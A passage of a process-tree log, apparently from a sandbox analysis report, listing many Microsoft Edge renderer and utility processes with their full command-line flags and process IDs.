    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=70 --always-read-main-dll --metrics-shmem-handle=11260,i,10116873417526762049,11218172298377573728,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13080 /prefetch:1
    3⤵
    PID:3412
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=63 --always-read-main-dll --metrics-shmem-handle=4404,i,1664183990954619388,6529315387818991962,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=12824 /prefetch:1
    3⤵
    PID:4320
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=62 --always-read-main-dll --metrics-shmem-handle=11036,i,16414660551283237862,7355690622687202821,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=12812 /prefetch:1
    3⤵
    PID:5128
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=58 --always-read-main-dll --metrics-shmem-handle=5340,i,9991674796226952247,5945523215075676151,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=12700 /prefetch:1
    3⤵
    PID:296
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=69 --always-read-main-dll --metrics-shmem-handle=11244,i,11115826515777904145,12849940297384605895,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13072 /prefetch:1
    3⤵
    PID:2832
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=71 --always-read-main-dll --metrics-shmem-handle=11304,i,6929430622102202753,10214827569190569101,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13092 /prefetch:1
    3⤵
    PID:3472
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=72 --always-read-main-dll --metrics-shmem-handle=11284,i,17039525095479590174,10739234438112055988,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13096 /prefetch:1
    3⤵
    PID:628
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=73 --always-read-main-dll --metrics-shmem-handle=11344,i,17391151631022571220,517388921356178173,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13140 /prefetch:1
    3⤵
    PID:7148
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=74 --always-read-main-dll --metrics-shmem-handle=11404,i,9393397019401441481,7141975279146711458,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13256 /prefetch:1
    3⤵
    PID:4880
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=76 --always-read-main-dll --metrics-shmem-handle=11340,i,18249357423369081677,6622270114221143697,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13344 /prefetch:1
    3⤵
    PID:1596
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=75 --always-read-main-dll --metrics-shmem-handle=11440,i,9854112145663006909,18048296921177870289,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13348 /prefetch:1
    3⤵
    PID:3524
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=77 --always-read-main-dll --metrics-shmem-handle=11484,i,16084438356920700551,4486600612350416457,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13340 /prefetch:1
    3⤵
    PID:5880
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=67 --always-read-main-dll --metrics-shmem-handle=11180,i,13334852856078830731,11521543321407366090,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=12948 /prefetch:1
    3⤵
    PID:1536
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=78 --always-read-main-dll --metrics-shmem-handle=11368,i,2282010837547003576,7630230502834160562,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13372 /prefetch:1
    3⤵
    PID:2984
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=79 --always-read-main-dll --metrics-shmem-handle=11524,i,8070993027280004391,1312204486431949003,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13380 /prefetch:1
    3⤵
    PID:1084
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=80 --always-read-main-dll --metrics-shmem-handle=10176,i,2644306775710691283,1048198382339009803,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13392 /prefetch:1
    3⤵
    PID:7152
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=81 --always-read-main-dll --metrics-shmem-handle=11580,i,15345056160780628291,3318832785815000600,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13412 /prefetch:1
    3⤵
    PID:1972
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=82 --always-read-main-dll --metrics-shmem-handle=11620,i,16103377366715443589,2494309738401029785,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13432 /prefetch:1
    3⤵
    PID:5276
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=83 --always-read-main-dll --metrics-shmem-handle=11648,i,301799030519685366,16189903244711799183,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13452 /prefetch:1
    3⤵
    PID:3996
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=84 --always-read-main-dll --metrics-shmem-handle=11672,i,18026336083539830114,16859137481442401543,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13472 /prefetch:1
    3⤵
    PID:4860
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=85 --always-read-main-dll --metrics-shmem-handle=11592,i,14674627175251564712,12147818081586918365,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13492 /prefetch:1
    3⤵
    PID:4836
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=86 --always-read-main-dll --metrics-shmem-handle=11728,i,17501127439665616724,7670984243636113329,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13512 /prefetch:1
    3⤵
    PID:792
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=87 --always-read-main-dll --metrics-shmem-handle=11764,i,10484783592303754846,10829466587857357194,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13532 /prefetch:1
    3⤵
    PID:708
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=88 --always-read-main-dll --metrics-shmem-handle=11784,i,74851892857027108,6698300529369102133,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13552 /prefetch:1
    3⤵
    PID:4216
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=89 --always-read-main-dll --metrics-shmem-handle=11812,i,7796354760105228425,48632703533032797,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13572 /prefetch:1
    3⤵
    PID:1612
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=90 --always-read-main-dll --metrics-shmem-handle=11800,i,10947855213178447273,13876355959303428170,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13592 /prefetch:1
    3⤵
    PID:756
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=91 --always-read-main-dll --metrics-shmem-handle=11856,i,8941807776048758425,7819227059163327692,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13612 /prefetch:1
    3⤵
    PID:5912
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=93 --always-read-main-dll --metrics-shmem-handle=11884,i,13705483492315080455,14704828448023511869,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13652 /prefetch:1
    3⤵
    PID:4680
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=92 --always-read-main-dll --metrics-shmem-handle=7164,i,11646835479641042326,14322558374854738046,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13632 /prefetch:1
    3⤵
    PID:248
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=11908,i,11433620451153326564,7609234239138138586,524288 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13672 /prefetch:14
    3⤵
    PID:2868
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=98 --always-read-main-dll --metrics-shmem-handle=12076,i,7578643386546204547,9405888985994067700,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13760 /prefetch:1
    3⤵
    PID:1904
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=97 --always-read-main-dll --metrics-shmem-handle=12040,i,5362985596655520815,9789102211865515366,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13740 /prefetch:1
    3⤵
    PID:6364
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=95 --always-read-main-dll --metrics-shmem-handle=11980,i,10923883630091298453,2547113550214010627,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13732 /prefetch:1
    3⤵
    PID:6736
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=96 --always-read-main-dll --metrics-shmem-handle=12016,i,8741653793813824877,2951631174286464246,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13720 /prefetch:1
    3⤵
    PID:1648
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=99 --always-read-main-dll --metrics-shmem-handle=12104,i,4585027078200035233,5375706360079799842,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13772 /prefetch:1
    3⤵
    PID:3976
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=100 --always-read-main-dll --metrics-shmem-handle=12128,i,4619945009683294392,11496125552716601556,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=13792 /prefetch:1
    3⤵
    PID:3476
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=104 --always-read-main-dll --metrics-shmem-handle=4620,i,15877315811018323232,6324988499764658874,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=14412 /prefetch:1
    3⤵
    PID:5576
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=105 --always-read-main-dll --metrics-shmem-handle=11712,i,17116157493612399709,1564489988008496096,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=14624 /prefetch:1
    3⤵
    PID:3684
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=106 --always-read-main-dll --metrics-shmem-handle=12252,i,11782666838430733736,2664233920697949363,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=14620 /prefetch:1
    3⤵
    PID:2896
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=107 --always-read-main-dll --metrics-shmem-handle=9248,i,7738768816735053235,6298097755512096566,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=14668 /prefetch:1
    3⤵
    PID:4532
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=108 --always-read-main-dll --metrics-shmem-handle=12276,i,4242317870551994428,1633990298120156990,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=14616 /prefetch:1
    3⤵
    PID:4856
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=110 --always-read-main-dll --metrics-shmem-handle=12336,i,10658340175199310532,5681696401583219569,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=14656 /prefetch:1
    3⤵
    PID:3704
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=112 --always-read-main-dll --metrics-shmem-handle=12396,i,13109762637596959644,2394917382049983236,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=14688 /prefetch:1
    3⤵
    PID:3820
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=113 --always-read-main-dll --metrics-shmem-handle=7948,i,16960328823938200815,13487816397780561580,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=14708 /prefetch:1
    3⤵
    PID:4188
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=111 --always-read-main-dll --metrics-shmem-handle=12364,i,3479037370720352980,16678297388038627264,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=14660 /prefetch:1
    3⤵
    PID:6800
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=102 --always-read-main-dll --metrics-shmem-handle=4592,i,1105299348605607828,11304076364240052910,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=14396 /prefetch:1
    3⤵
    PID:1376
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
